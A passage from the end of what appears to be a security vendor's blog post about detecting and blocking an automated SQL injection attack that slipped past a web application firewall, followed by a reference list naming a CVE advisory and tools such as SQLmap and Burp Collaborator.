you might even be thinking that the whole process of trying this many injection approaches could be pretty laborious. Fortunately, there are tools like SQLmap openly available for use that help you automate this process [5]. And identifying automation is our specialty here at Shape.Typically, network-level defenses like Web Application Firewalls (WAFs) are quite good at identifying SQL injection attacks. As clearly indicated in this story though, these network defenses can sometimes miss an attack and fail to block that trafficIn this case, Shape was able to detect the automated nature of this attack and block all of the traffic. As the old saying goes, “Give an attacker an input field and they’re going to want to perform SQLi.” When Shape is in place behind your WAF, you will have a second layer of defense against these automated injection attacks. Additional Resources 1: National Vulnerability Database entry for CVE-2014-6577, https://nvd.nist.gov/vuln/detail/CVE-2014-6577 2. Advisory: XXE Injection in Oracle Database (CVE-2014-6577), https://blog.netspi.com/advisory-xxe-injection-oracle-database-cve-2014-6577/ 3. Burp Collaborator, https://portswigger.net/burp/documentation/collaborator 4. Mailinator, https://www.mailinator.com/ 5. SQLmap, http://sqlmap.org/
